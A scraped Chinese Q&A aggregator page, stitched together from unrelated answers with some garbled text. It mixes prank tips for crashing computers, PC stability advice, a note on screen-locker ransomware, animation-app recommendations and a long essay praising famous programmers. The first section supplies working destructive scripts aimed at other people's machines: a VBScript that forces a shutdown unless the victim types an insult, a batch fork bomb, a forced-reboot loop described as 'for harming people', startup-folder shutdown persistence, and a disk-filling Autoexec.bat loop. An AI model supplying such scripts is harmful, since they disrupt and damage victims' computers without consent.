当前位置:首页 » 编程语言 » c语言搞怪

c语言搞怪

发布时间: 2025-01-18 01:29:08

1. 恶搞电脑锁机软件关于锁机软件

⑴ 如何让电脑死机
问题一:怎么样可以让电脑死机,而且不能开机。加急 你可以设置一个自动关机的小命令来粗搭控制你的电脑,对于电脑新手来说是非常好用的。
新建一个文本文档,打开,输入“shutdown -s”(中间有空格),然后保存关闭,随便保存到哪,重命名文件 *.bat (前面叫什么都可以,后缀名必须是bat!),会提示你确实更改么,点确定,完成。
如果操作正确的话,你可以双击一下那个文件,就会弹出这个窗口,不过你最好先别点,因为你还没学会怎么解除呀~~~
我们来让它自动运行。
点开始→程序→启动,双击“启动”会弹出窗口,把刚才那个 *.bat 文件剪切进去,然后关闭窗口就可以。
这样,这个文件就会在电脑进去windows的时候自动运行,并在30秒后自动关机了。
P.S.:如果有防御软件一定要记住让他通过这个操作,要不然就失效啦!
解除方法:
这个方法是运用windows自带的shutdown命令来实现的,你要熟记shutdown命令的全拼。具体的接触方法是:当你看到这个窗口后,迅速按组合键 win+R (win键就是空格键左面再左面的那个小窗口键),然后在弹出的“运行”窗口里打入 “shutdown -a ”(中间有空格,不含引号),然后回车,就可以解除自动关机了!

问题二:如何让对方电脑死机 你把下面的代码发给他,用记事本保存成.vbs格式,嘿嘿
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(wscript.shell)
WSHshellA.run cmd.exe /c shutdown -r -t 60 -c 说TX是猪我也是猪,速度,不然关你机 ,0 ,true
dim a
do while(a TX是猪我也是猪)
a = inputbox (说TX是猪我也是猪,就不关机,快点,说 TX是猪我也是猪 ,说不说,不说,8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,MsgBox
loop
msgbox chr(13) + chr(13) + chr(13) + 你看,事实证明一切了
dim WSHshell
set WSHshell = wscript.createobject(wscript.shell)
WSHshell.run cmd.exe /c shutdown -a,0 ,true
msgbox chr(13) + chr(13) + chr(13) + 正义的力量是不会被摧毁的..嘿嘿

问题三:怎么可以把电脑搞死机? 那要看这个电脑配置如何,如果跟我家的电脑,只要我一打开Oracle然后开个大程序就死机了。
如果配置好点的可以这样玩,开一个2K9,把所有效果打到最大,然后会很卡,你在里面模拟一场比赛,就是进去比赛后把手薯中柄移到中间,让他们两队自己打,之后出来挂一个QQ,开一个迅雷,进迅雷的高清区,看个变形金刚之类的,估计四核的电脑也会很卡。。。

问题四:怎样让别人的电脑死机 弄个恶搞程序,恶搞到什么程度你自己在网上下载相应的就行。比如给你来个简单的,如果你想要对方电脑自动执行此软件的话将其它拉到开机启动项就行,解决办法是在安全模式下删除开机启动,方法:新建一个文本文档,随意取名岩手拿都行,将下边命令行复制进去保存,然后将扩展名.txt改为.bat就行了:
第一个:让别人内存OVER(逼他重启)
@echo off
start cmd
%0
就这3行了
第二个:让对方重启指定次数(害人专用)
@echo off
if not exist c:\1.txt echo. >c:\1.txt & goto err1
if not exist c:\2.txt echo. >c:\2.txt & goto err1 if not exist c:\3.txt echo. >c:\3.txt & goto err1
if not exist c:\4.txt echo. >c:\4.txt & goto err1
if not exist c:\5.txt echo. >c:\5.txt & goto err1
goto err2
:err1
shutdown -s -t 0
:err2
上面可以让对方电脑重启5次后不在重启

问题五:怎么样才能让电脑永远不死机? 电脑死机问题: 希望可以帮到你: 注意以下问题可以解决避免大部分电脑死机或“假死”的现象: 1、在同一个硬盘上安装太多的操作系统会引起系统死机。 2、CPU、显示卡等配件不要超频过高,要注意温度,否则,在启动或运行时会莫名其妙地重启或死机。 3、在更换电脑配件时,一定要插好,因为配件接触不良会引起系统死机。 4、BIOS设置要恰当,虽然建议将BIOS设置为最优,但所谓最优并不是最好的,有时最优的设置反倒会引起启动或者运行死机。 5、最好配备稳压电源,以免电压不稳引起死机。 6、如果有条件的话,加装一个UPS,使电脑在停电后不会造成死机。 7、对来历不明的软盘和光盘,不要轻易使用,对E-mail中所附的软件,要用瑞星等杀毒软件检查后再使用,以免传染病毒后,使系统死机。 8、在应用软件未正常结束时,别关闭电源,否则会造成系统文件损坏或丢失,引起自动启动或者运行中死机。对于Windows98/2000/NT等系统来说,这点非常重要。 9、在安装应用软件当中,若出现提示对话框“是否覆盖文件”,最好选择不要覆盖。因为通常当前系统文件是最好的,不能根据时间的先后来决定覆盖文件(除非你对文件的时间很在意)。 10、在卸载软件时,不要删除共享文件,因为某些共享文件可能被系统或者其他程序使用,一旦删除这些文件,会使应用软件无法启动而死机,或者出现系统运行死机。 11、设置硬件设备时,最好检查有无保留中断号(IRQ),不要让其他设备使用该中断号,否则引起IRQ冲突,从而引起系统死机。 12、在加载某些软件时,要注意先后次序,由于有些软件编程不规范,在运行是不能排在第一,而要放在最后运行,这样才不会引起系统管理的混乱。 13、在运行大型应用软件时(如OFFICE 2000),不要在运行状态下退出以前运行的程序,否则会引起整个Windows98系统的崩溃 。 14、在内存较小的情况下(如4MB-16MB),最好不要运行占用内存较大的应用程序,否则在运行时容易出现死机。建议在运行这些程序时应及时保存当前正在使用的文件。 15、对于系统文件或重要文件,最好使用隐含属性,这样才不致于因误操作而删除或者覆盖这些文件。 16、修改硬盘主引导记录时,最好先保存原来的记录,防止因修改失败而无法恢复原来挠才讨饕 技锹肌? 17、最好少用软件的测试版,因为测试版在某方面不够稳定,在使用后会使系统无法启动。 18、在Windows95/98中尽量不要运行16位应用程序,因为16位的应用程序会与Windows中的32位应用程序产生冲突,从而引起死机或无法启动。 19、在升级BIOS之前,应确定所升级的BIOS版本,同时应先保存一下原先的版本,以免升级错误而使系统无法启动。 20、尽量不要使用盗版的软件,因为这些软件里隐藏着大量病毒,一旦执行,会自动修改你的系统,使系统在运行中出现死机。若有使用,请于事先杀毒以防万一。 21、在机箱中,可能蕴藏了大量的灰尘,灰尘若接触了配件的电路,会使系统不稳定或死机。 22、在执行磁盘碎片整理的时后,不要运行大型应用软件,否则引起死机。 23、用杀毒软件检查硬盘期间,不要运行其它的应用程序,以防止系统死机。 24、在上网的时候,不要一次打开太多的浏览窗口,导致资源不足,引起死机。 25、在关闭计算机的时候,不要直接使用机箱中的电源按钮,因为直接使用电源按钮会引起文件的丢失,使下次不能正常启动,从而造成系统死机。

问题六:怎么无痕迹让电脑死机 1,当遇到ipad死机,开不了机,没有任何反应时,此时可以尝试将电源和主屏Home键同时按住,保持在10秒以上。看能不能强制重启。2,如果强制重新启动成功的话,随后可以在屏上看到一个苹果标志。重新启动成功以后,就可以正常使用了。3,当然有时候可能是因为没电了,导致自动关机,不管怎么操作,都开不了机,当遇到这种情况时,请先将iPad接入电源充电器。4,如果是因为没电自动关机的话,此时在屏幕上会出现一个电池图标。5,另外iPad的电池要充到5%以上才可以正常开机,如果电量极低的话,请先让它充电,再开机。6,上面的方法都无效的话,有可能是苹果硬件故障,建议送修到苹果授权售后服务店进行检测。

问题七:有什么办法让电脑死机或卡死又不破坏电脑 最简单的方法,结束桌面进程就好了。首先关闭桌面所有的应用程序,然后Ctrl+Alt+Del调出任务管理器,选择进程里的explorer.exe,单击结束即可。这时电脑只显示你的桌面背景,除此之外没有其他任何东西。不管按什么键都没反应。出现假死现象。恢复的时候:Ctrl+Shift+Esc调出任务管理器,选择新建任务,输入explorer.exe回车,就又恢复到你的桌面了。

问题八:怎么样把自己的电脑弄死机 打开C盘根目录下的Autoexec.bat文件(如果不存在,可以自行建立),然后将其中的内容全部删除,输入下面两行命令:
@cd>>notepad
@%0
然后保存就可以。解释一下上面的命令:
“@”符号表示在DOS下不显示后面的命令,这样就可以把危险指令掩藏起来,来个神不知鬼不觉。“cd>>notepad’就是把当前的目录拷贝成一个名为notepad的文件,“>>”表示保存到,和“>”不同的是,“>>”会将保存结果加到文件的最后,而“>”是覆盖的意思。所以,用“>>”的结果就是保存的文件越来越大!“%0”的意思是不断地重复上面一条指令,其结果就是名为notepad的文件会越来越大,直到填满整个硬盘,此时,电脑就只有死机一条路可以走。如果重启电脑,只会看到;Starting MS-DOS...之后就会死机,而且期间会不接受任何指令。要去掉这条“魔咒”,只要用软盘启动电脑,或跳过Autoexec.bat文件的执行,再把上面的指令去掉就行。

问题九:电脑死机的时候,怎样才能让它快速恢复过来啊? 希望可以帮到你:注意以下问题可以解决避免大部分电脑死机或“假死”的现象:1、在同一个硬盘上安装太多的操作系统会引起系统死机。最好重装前用PQ先格式化干净再装.2、CPU、显示卡等配件不要超频过高,要注意温度,否则,在启动或运行时会莫名其妙地重启或死机。一般不要随便超频。3、在更换电脑配件时,一定要插好,因为配件接触不良会引起系统死机。4、BIOS设置要恰当,有时因突然断电等原因引起bios混乱,可通过放电或恢复出厂设置。5、夏天晚上一般是用电高峰,电压不稳容易引起死机,最好配备稳压电源。6、对来历不明的软盘和光盘,不要轻易使用,对E-mail中所附的软件,要用瑞星等杀毒软件检查后再使用,以免传染病毒后,使系统死机。7、在应用软件未正常结束时,别关闭电源,否则会造成系统文件损坏或丢失,引起自动启动或者运行中死机。对于Windows98/2000/NT等系统来说,这点非常重要。8、在安装应用软件当中,若出现提示对话框“是否覆盖文件”,最好选择不要覆盖。因为通常当前系统文件是最好的,不能根据时间的先后来决定覆盖文件(除非你对文件的时间很在意)。9、在运行大型应用软件时(如OFFICE 2000),不要在运行状态下退出以前运行的程序,否则会引起整个系统的崩溃。10、在内存较小的情况下,最好不要运行占用内存较大的应用程序,否则在运行时容易出现死机。建议在运行这些程序时应及时保存当前正在使用的文件。11、对于系统文件或重要文件,最好使用隐含属性,这样才不致于因误操作而删除或者覆盖这些文件。12、最好少用软件的测试版,因为测试版在某方面不够稳定,在使用后会使系统无法启动。可使用一些低版本但比较稳定的。13、尽量不要下载使用来历不明的软件,因为这些软件里隐藏着大量病毒,一旦执行,会自动修改你的系统,使系统在运行中出现死机。若有使用,请于事先杀毒以防万一。14、在机箱中,可能蕴藏了大量的灰尘,灰尘若接触了配件的电路,会使系统不稳定或死机。经常给机箱、电源、风扇等配件清尘。15、在执行磁盘碎片整理的时后,不要运行大型应用软件,否则引起死机。16、用杀毒软件检查硬盘期间,不要运行其它的应用程序,以防止系统死机。17、在上网的时候,不要一次打开太多的浏览窗口,导致资源不足,引起死机。可考虑使用一些占资源较少的浏览器。

问题十:电脑死机之后怎么让他自动重启 系统死锁时自动重启 单击开始/运行,键入regedit并回车,打开注册表编辑器,找到并展开hkey_local_machine\System\CurrentControlSet\CrashControl分支,在右侧窗口中找到AutoReboot键,将其Dword数值数据修改为1,退出注册表编辑器并重新启动一次计算机,以后系统死机时就会自动重启。 资源管理器崩溃时自动重启 在资源管理器崩溃比如桌面图标,任务栏无示显示,鼠标消失,不能使用Alt+Tab组合键切换窗口等时,让计算机自动重启的方法是打开注册表编辑器,依次情节hkey_local_machine\Software\Microsoft\Windows Nt\CurrentVersion\Winlogon分支,在右侧窗口找到AutoRestartshell(如果没有新那建一个)键,将其Dword数值数据修改为1,重新启动计算机设置即生效。
⑵ 关于锁机软件
锁机软件是通过加密设备进而达到作者的目的。这些锁机大部分都是“糖衣炮弹”,有些很常见的东西,如“xx辅助”诱导你去上钩。
这些软件的作者我看好多人回答称他们为“黑客”,这些所谓的小黑客们利用了一些生成器“末心的Doom team多功能”、“恒弟的硬盘锁生成器”、“流年锁机生成器”等等。还有些利用传说中的易语言。然后被好多人崇拜。(之前看到一个内蒙古的小女孩因为此事而被作者索要隐私部位照片,我工作室将其窝点定位与信息收集后报案处理。)
这种锁机软件分为四个大类:用户锁、桌面锁、MBR扇区硬盘锁、SYSkey锁。
四个大类中电脑占了全部,而手机则衍生出三大类 pin锁、序列号锁、root锁。
整个锁机圈的划分为两个:制作的和破解的。
锁机圈内风气尚可,甚至比娱乐圈要好了一点点,我们的电脑锁机密码文本库已经累计到了近万条账户和密码,大部分锁机在网上搜索QQ号即可找到密码。
这个问答我不介绍如何破解,给大家普及一下知识即可。
⑶ 什么制作动画的软件简单易学
一、动画大师
动画大师是一款可以在手机上制作动画的软件,可以让你通过绘制连续的图片集,然后将图片集导出成gif动态图片和视频。还能将作品分享给朋友,也可以将作品导出到相册。
只需绘制一张张图片,导出即可生成gif或视频,丰富的画笔工具,同时画笔支持调整大小和透明度,以调整播放速度,支持缩放操作,支持帧的左移和右移操作。
二、GIF贴纸动画制作
GIF贴纸动画制作是一款专业制作生成搞怪gif和微信表情包的动图制作软件,可以让您轻松制作专属自己的搞笑GIF和动态表情包。不论是使用生活照,一般照片还是视频,您都可以立即创作专属的GIF动画,并用于表情斗图或分享给朋友。
用手机相册的照片制作gif,轻松实现静图变动图,选取视频的精彩镜头制作成影视GIF、体育精彩瞬间GIF等各种GIF图片。
三、动画本FlipaClip
动画本FlipaClip手机动画制作软件,有了你动画本FlipaClip可随时随地创建漂亮的高清动画影片。可以张一张一张的画出自己的动画片,除了一点手艺意外,更需要耐心。
所需的工具就在手边。不需要使用电脑。你可用来创建朋友们会喜欢的精彩影片或通过微信和微博分享给全世界各地的朋友们。
四、人人都能做动画2
人人都能做动画2 Draw Cartoons 2是一款可以在手机上轻松制作动画的工具,有很多现成的人物模型和道具可以使用,免去了绘画的过程,你只需将动作摆出来即可,大大降低了制作难度。
应用中有各种风格的模型可供选择,火柴人、美国首相、卡通形象等等等等,不论你是想一本正经还是疯狂恶搞,都可以在应用内找到有趣的素材。
五、GIF动画制作
通过Gifinator Plus这款软件,我们可以轻松的制作自己的GIF动画。在逛论坛时经常会看到一些非常有趣的小动画图片,比如经典的QQ表情或者是一些搞笑的动画等等,如果你有心的话,你会发现这些动画都是GIF图片格式。

2. 一个好的程序员至少应该具备哪些条件

楼上的几位显然误会我的意思了,我并不是说不应当写文档加注释注重团队精神,看看下面的一篇文章,那位三天就写出UNIX的他需要写文档注释和团队精神吗,他用不着。哪个高手没有一点傲气和自信,他之所以敢对用户说:拿到你想要的,然后滚蛋,你已经很幸运了!是因为他有这个资本。天才本就不循规蹈矩,那样他就不叫天才了。

MIT BBS上说微软电话面试的一道题就是“Who do you think is the best coder,
and why?”。我觉得挺有意思的,也来凑个热闹。排名不分先后。

Bill Joy, 前任Sun的首席科学家,当年在Berkeley时主持开发了最早版本的BSD。他还
是vi和csh的作者。当然,Csh Programming Considered Harmful 是另一个话题乐。据
说他想看看自己能不能写个操作系统,就在三天里写了个自己的Unix, 也就是BSD的前
身。当然是传说了,但足见他的功力。另一个传说是,1980年初的时候,DARPA让BBN在
Berkley Unix里加上BBN开发的TCP/IP代码。但当时还是研究生的B伯伯怒了,拒绝把BBN
TCP/IP加入BSD,因为他觉得BBN的TCP/IP写得不好。于是B伯伯出手了,端的是一箭封
喉,很快就写出了高性能的伯克利版TCP/IP。当时 BBN和DARPA签了巨额合同开发TCP/IP
Stack,谁知他们的代码还不如一个研究生的好。于是他们开会。只见当时B伯伯穿
个T-shirt出现在会议室(当时穿T-shirt不象现在,还是相当散漫的哈)。只见BBN问:你
怎么写出来的?而B伯伯答:简单,你读协议,然后编程就行了。最令偶晕倒的是,B伯
伯硕士毕业后决定到工业界发展,于是就到了当时只有一间办公室的Sun, 然后他就把
Sparc设计出来乐。。。象这种软硬通吃的牛人,想不佩服都不行的说。据Bill Joy的同
事说,一般开会的时候B伯伯总是拿一堆杂志漫不经心地读。但往往在关键之处,B伯伯
发言,直切要害,提出漂亮的构想,让同事们彻底崩溃。对了,他还是java Spec和JINI
的主要作者之一。

John Carmack,ID Software的founder和Lead Programmer。上个月和一个搞图形的师兄
聊天,他竟然不知道John Carmack, 也让偶大大地晕了一把。不过也许搞研究的和搞实
战的多少有些隔吧。想必喜欢第一人称射击游戏的都知道J哥哥。90年代初只要能在PC
上搞个小动画都能让人惊叹一番的时候,J哥哥就推出了石破天惊的Castle Wolfstein,
然后再接再励,doom, doomII, Quake...每次都把3-D技术推到极限。J哥哥的简历上说
自己的专长是"Exhaust 3-D technology",真是牛人之言不我欺的说。做J哥哥这样的人
是很幸福的,因为各大图形卡厂家一有了新产品就要向他“进贡"
,不然如果他的游戏不支持哪种卡,哪种卡基本就会夭折乐。当初MS的Direct3D也得听
取他的意见,修改了不少API。当然,J哥哥在结婚前十数年如一日地每天编程14小时以
上,也是偶们凡人望尘莫及的。对了,J哥哥高中肆业(?),可以说是自学成才。不过
呢,谁要用这个例子来为自己学习不好辩护,就大错特错了。那 Leonardo Da Vinci还
是自学成才呢(人是私生子,不能上学)。普通人和天才还是有区别的。对了,其实偶们
叫“达分奇”是相当不对的,因为Vinci是地名,而Da Vinci就是从Vinci来的人的意
思。换句话说,Leonardo Da Vinci就是“从Vinci来的Leonardo”的意思。叫别
人“Da Vinci”就不知所谓乐。嗯,扯远了,打住。

David Cutler,VMS和Windows NT的首席设计师,去微软前号称硅谷最牛的kernel开发
员。当初他和他的手下在微软一周内把一个具备基本功能的bootable kernel写出来,然
后说:“who can't write an OS in a week?",也是牛气冲天的说。顺便说一句,D爷
爷到NT3.5时,管理1500名开发员,自己还兼做设计和编程,不改coder本色啊。

D爷爷天生脾气火爆,和人争论时喜欢双手猛击桌子以壮声势。 日常交谈fuck不离口。
他面试秘书时必问:"what do you think of the word 'fuck'?" ,让无数美女刹羽而
归。终于有一天,一个同样火爆的女面对这个问题脱口而出:"That's my favorite
word"。于是她被录取乐,为D爷爷工作到NT3.5发布。

Don Knuth。高爷爷其实用不着偶多说。学编程的不知道他就好像学物理的不知道牛顿,
学数学的不知道欧拉,学音乐的不知道莫扎特,学Delphi的不知到 Anders Hejlsberg,
或者学Linux不知道Linus Torvalds一样,不可原谅啊。为了让文章完整,就再罗唆几句
吧。高爷爷本科时就开始给行行色色的公司写各种稀奇古怪的编译器挣外快了。他卖给别
人时收一两千美元,那些公司拿了code,加工一下卖出去就是上万上十万。不过也没见高
爷爷不爽过,学者本色的说。想想那可是60年代初啊,高爷爷写编译器写多了,顺带就搞
出了个 Attribute Grammar和LR(k),大大地造福后人啊。至于高爷爷在CalTech的编程比
赛(有Alan Kay得众多高高手参加)总是第一,写的Tex到86年就code freeze,还附带2^n
美分奖励等等都是耳熟能详的,偶就不饶舌乐。

顺便说一下,高老大爷是无可争议的写作高手。他给Concrete Mathematics 写的前言可
谓字字铿锵,堪为前言的典范。他的技术文章也是一绝,文风细致,解释精当,而且没
有学究气,不失轻快跳脱。记得几年前读Concrete Mathemathics,时不时开怀大笑,让
老妈极其郁闷,觉得我nerdy到家,不可救药。其实呢,子非鱼,安知鱼之乐,更不知那
完全是高爷爷的功劳。说到写作高手,不能不提Stephen A. Cook。他的文章当年就被我
们的写作老师极力推荐,号称典雅文风的样本。库爷爷一头银发,身材颀长,总是面带
谦和的微笑,颇有仙风道骨,正好和他的仙文相配的说。

高爷爷其实还是开源运动的先驱。虽然他没有象Richard Stallman那样八方奔走,但他
捐献了好多作品,都可以在网上看到,比如着名的Mathematical Writing,MMIXWare,
The Tex Book等,更不用说足以让他流芳百世的Tex乐。

Ken Thompson,C语言前身B语言的作者,Unix的发明人之一(另一个是Dennis M. Riche
老大,被尊为DMR),Belle(一个厉害的国际象棋程序)的作者之一, 操作系统Plan 9的主
要作者(另一个是大牛人Rob Pike,
前不久被google挖走了)。Ken爷爷也算是计算机历史上开天辟地的人物了。1969年还是
计算机史前时代,普通人都认为只有大型机才能运行通用的操作系统,小型机只有高山
仰止的份儿。至于用高级语言来写操作系统,更是笑谈。Ken爷爷自然不是池中物,于是
他和DMR怒了,在1969年到1970间用汇编在PDP-7上写出了UNIX的第一个版本。他们并不
知道,一场轰轰烈烈的UNIX传奇由此拉开了序幕。Ken爷爷在1971年又把Unix用C重写,
于是C在随后20年成就了不知多少豪杰的梦想和光荣。

Ken爷爷还有段佳话: 装了UNIX的PDP-11最早被安装在Bell Lab里供大家日常使用。很
快大家就发现Ken爷爷总能进入他们的帐户,获得最高权限。Bell
Lab里的科学家都心比天高,当然被搞得郁闷无比。于是有高手怒了,跳出来分析了UNIX
代码,找到后门,修改代码,然后重新编译了整个UNIX。就在大家都以为“这个世界清
净了”的时候,他们发现Ken爷爷还是轻而易举地拿到他们的帐户权限,百思不解后,只
好继续郁闷。谁知道这一郁闷,就郁闷了14年,直到Ken爷爷道出个中缘由。原来,代码
里的确有后门,但后门不在Unix代码里,而在编译Unix代码的C编译器里。每次C编译器
编译UNIX的代码,就自动生成后门代码。而整个Bell Lab的人,都是用Ken爷爷的C编译
器。

(6)Rob Pike, AT&T Bell Lab前Member of Technical Staff ,现在google研究操作系
统 。罗伯伯是Unix的先驱,是贝尔实验室最早和Ken Thompson以及Dennis M. Ritche开
发 Unix的猛人,UTF-8的设计人。他还在美国名嘴David
Letterman的晚间节目上露了一小脸,一脸憨厚地帮一胖子吹牛搞怪。让偶佩服不已的
是,罗伯伯还是1980年奥运会射箭的银牌得主。他还是个颇为厉害的业余天文学家,设
计的珈玛射线望远镜差点被NASA用在航天飞机上。他还是两本经典,The Unix
Programming Environment 和 The Practice of Programming 的作者之一。如果初学者
想在编程方面精益求精,实在该好好读读这两本书。它们都有中文版的说。罗伯伯还写
出了Unix下第一个基于位图的窗口系统,并且是着名的blit终端的作者。当然了,罗伯
伯还是号称锐意革新的操作系统,Plan9,的主要作者。可惜的是,Plan9并没有引起多
少人的注意。罗伯伯一怒之下,写出了振聋发聩的雄文 Systems Software Research is
Irrelevant,痛斥当下系统开发的不思进取,固步自封的弊病。虽然这篇文章是罗伯伯
含忿出手,颇有偏激之词,但确实道出了系统开发的无奈:开发周期越来越长,代价越
来越大,用户被统一到少数几个系统上,结果越来越多的活动是测量和修补,而真正的
革新越来越少。

就在罗伯伯郁闷之极的时候,google登门求贤来乐。如果说现在还有一家大众公司在不
遗余力地把系统开发推向极致的话,也就是google乐。随便看看google的成果就知道
了。具有超强容错和负载平衡能力的分布式文件系统GFS
(现在能够用100,000台廉价PC搭起一个巨型分布系统,并且高效便宜地进行管理的系统
也不多哈),大规模机器学习系统(拼写检查,广告匹配,拼音搜寻。。。哪个都很牛的
说),更不用说处理海量并行计算的各式google服务了。Rob在System Software
Research is Irrelevant里萧瑟地说现在没有人再关心系统研究的前沿成果了。想不到
他错了,应为google关心。google网络了大批功成总是试图吸取系统研究的最新成果。
想必Rob Pike在google很幸福。愿他做出更棒的系统。

Dennis M. Ritchie, 既然Ken Thompson是我的偶像,新闻组上人称DMR的Dennis M.
Ritchie自然也是,毕竟两人共同缔造了UNIX,而Dennis几乎独力把C搞大(当然,C的前
身是B,而B是Ken Thompson一手做出来的)。两人1983年分享图灵奖,是有史以来少数几
个因工程项目得奖的工程师(本来是唯一的一对儿,但Alan Kay才因为SmallTalk得奖,
所以就成了唯二的乐) 一个人一生能做出一个卓越的系统已经不易,DMR的C和UNIX长盛
不衰近30年,至今生机勃勃,DMR此生可以无憾的说。

D爷爷也算有家学渊源:他老爸在AT&T贝尔实验室工作了一辈子,并在电路设计方面卓有
成就,还出了本颇有影响的书The Design of Switching Circuits,据说在交换理论和
逻辑设计方面有独到的论述。当然,D爷爷和他老爸是不同时代的人:他老爸的研究成
形于晶体管发明之前,而D爷爷的工作离了晶体管就玩儿不转乐。:-D

不要看D爷爷搞出了C,其实他最爱的编程语言是Alef,在Plan9上运行,支持并行编程。
Alef的语法和C相似,但数据类型和执行方式都和C大大不同。说到语言,D爷爷对后来
人有非常中肯的建议:抱着学习的目的来开发你自己的语言,不要冀望于它被众人接
受。这个建议不光对语言开发有用,也适用于其它大型系统的开发。别的不说,DMR后来
领导自己的团队在1995年和1996分别推出了Plan9和Inferno操作系统,又用多少人知道
呢?其实,D爷爷当初也没想过C会风行世界。他开发C的初衷和Eric S. Raymond
在Cathedral and Bazaar里阐述的一样,就是要消除自己对现有工具的不爽之处。谁
知D爷爷无心插柳,C竟然受到众多程序员的狂热拥戴,连D爷爷自己都大惑不解。在一次
采访中D爷爷说大概那是因为C的抽象程度碰巧既满足了程序员的要求, 又容易实现。当
然C一度是Unix上的通用语言也是原因。但不管怎么说,D爷爷对编程语言出色的审美意
识奠定了C广为流传的基础。

最后八卦一下。D爷爷的业余爱好和NBA大牛Karl Malone一样:开卡车。不过D爷爷更喜
欢开NASCAR,而KM独爱巨无霸。J D爷爷自称心中不供偶像,如果一定要说一个,那就
是Ken Thompson了。现在Ken爷爷退休当飞机教练去了,而D爷爷当了贝尔实验室系统开
发部的头,整日忙于开支票。他俩合作20年,屡屡创造历史。这段令人神往的佳话,也
就长留你我心中乐。

P.S., 很多人都以为Brian W. Kernighan是C的作者。其实BWK只是写了那本经典K&R C。
据D爷爷说,他,Ken, 和Kernighan三人中,Kernighan最能写文章,他次之,而Ken写
得最少;但说到编程,Ken爷爷才是当之无愧的老大。

Edsger Wybe Dijkstra, 对,就是E.W. Dijkstra. 一提到EWD,很多人就会想起找最短
路径的Dijkstra Algorithm,就好像一提到Sir. Tony Hoare,就想起Quick Sort一样。
其实这些个算法不过是两个牛人在他们职业生涯中最琐碎的贡献。比如Dijkstra算法,
无非是戴爷爷在1956年为了展示新计算机
ARMAC的计算能力,初试身手的成果,属于他的算法处女作。据戴爷爷自述,他搞出最
短路径算法的时候连纸笔都没用。当时他和他老婆在阿姆斯特丹一家咖啡厅的阳台上晒
太阳喝咖啡,突然就把这个算法想出来乐。而且当时的算法研究还比较原始,牛人们忙
着用计算机搞数值计算,对离散算法不屑一顾。那时连一个象样的专注于离散算法的专
业期刊都没有。戴爷爷于是推迟发表这个算法。直到1959年,他才把这个算法发表
在Numerische Mathematik的创刊号上,权为捧场。:-)
EWD在多个领域牛气冲天,端的是理论和编程两手硬的高手。只不过他的很多工作比较
深刻,学校的老先生们觉得本科生接受不了,不给本科生讲而已。

戴爷爷大概因为最短路径算法一战成名,于是有人请他参加另一台计算机X1的设计工
作,并且把设计实时中断系统的任务派给了他。现在看来实时中断也许不算什么,但要
知到,X1前根本就没有实时中断的概念。实现它简直就是一场豪赌。戴爷爷起初还不情
愿,但经不住项目负责人Bram和Carel的轮番 “吹捧”:我们知道实时中断让您工作变
得非常困难,但象您这样的牛人肯定能做出来的说。结果戴爷爷被糖衣炮弹彻底击穿,
接下了这个烫手山芋。两三年后,他不仅搞出了实时中断,还围绕这个写出了自己的博
士论文,顺利戴上博士帽。

让戴爷爷真正成名立万的还是在X1上开发的Algo60,最早的高级语言之一。戴爷爷没日
没夜地工作了8个月,就搞出了Algo60,也因此获得了 1972年的图灵奖。因为Algo60,
戴爷爷发表了一篇石破天惊的文章:Recursive
Programming,于是人们才知道,原来高级语言也可以高效地实现递归,原来从此以后,
所有程序员都不可避免地和戴爷爷发明的一个词(应该说是概念)打交道:堆栈。
而且Algo60还让戴爷爷深入地思考多道程序设计的问题,最终发明了每个系统程序员
都绕不开的概念:semaphore。当然,戴爷爷总是把他发明的概念严格形式化,极具科
学家本色的说。和这些成就想比,他提出的吃饭的哲学家问题,也就没什么好说的了。

说来好笑,当时的大学(忘了哪所了)还是觉得戴爷爷没有受过正统的数学训练,也不是
专门搞数值分析的,所以最后不太情愿地给了他一个教职。这种小挫折并不能妨碍象戴
爷爷这样的牛人创造历史。他一边教数值分析(:-D) ,一边开始开发一个新的操作系
统,并培养计算机科学家。几年后,THE Multiprogramming
System横空出世。THE是第一个支持松散耦合,显式同步的进程并由此使得严格证明系统
没有死锁变得容易的操作系统。可惜戴爷爷任职的系不识货,还强行解散了他的研究小
组(1972年戴爷爷给他的系主任说他得了图灵奖,系主任的第一反应是你们搞计算机就
喜欢乱发奖)。这让戴爷爷相当郁闷,得了抑郁症。在极度郁闷之中,戴爷爷决定用写作
来治疗自己的抑郁症。于是经典就诞生乐:Notes on Structured Programming。戴爷爷
从此被尊为结构化编程的奠基人,而且他的抑郁症也被治好乐。

EWD太牛,结果他的故事也太多。先到这里吧。1973起,他的故事就在美国发生了。

Anders Hejlsberg,微软.NET的首席架构师,编程语言设计和实现的顶尖高手。他一手
做出了 Turbo Pascal, 也是Delphi, J++(尤其是WFC),C#, 和.NET的主要作者。这些作
品的名字足以为他立传。作为一个程序员,我在这样的大师面前实在无语。生子当
如Anders的说。李维的<>里已详细讲述了Anders的传奇故事,我就不用费舌了:

http: //java.mblogger.cn/iexploiter/posts/1505.aspx

Artima上有Anders谈C#的系列访谈。MSDN上有一段Anders导游的录像 。有兴趣可以去看
看牛人的丰采。

热点内容
半加密IC 发布:2025-01-18 05:38:46 浏览:588
高压配电室需要配置哪些安全设施 发布:2025-01-18 05:38:45 浏览:335
空气能热泵控电柜如何配置 发布:2025-01-18 05:31:35 浏览:727
电脑忘记登录密码如何打开 发布:2025-01-18 05:28:53 浏览:981
垂直式16m缓存 发布:2025-01-18 05:25:48 浏览:926
梦幻诛仙2护送脚本 发布:2025-01-18 05:25:45 浏览:321
人间地狱为什么没有服务器 发布:2025-01-18 05:20:07 浏览:442
c语言编译器的版权 发布:2025-01-18 05:13:37 浏览:296
htmlbase64图片上传 发布:2025-01-18 05:13:03 浏览:19
微信小程序源码目录 发布:2025-01-18 05:08:51 浏览:679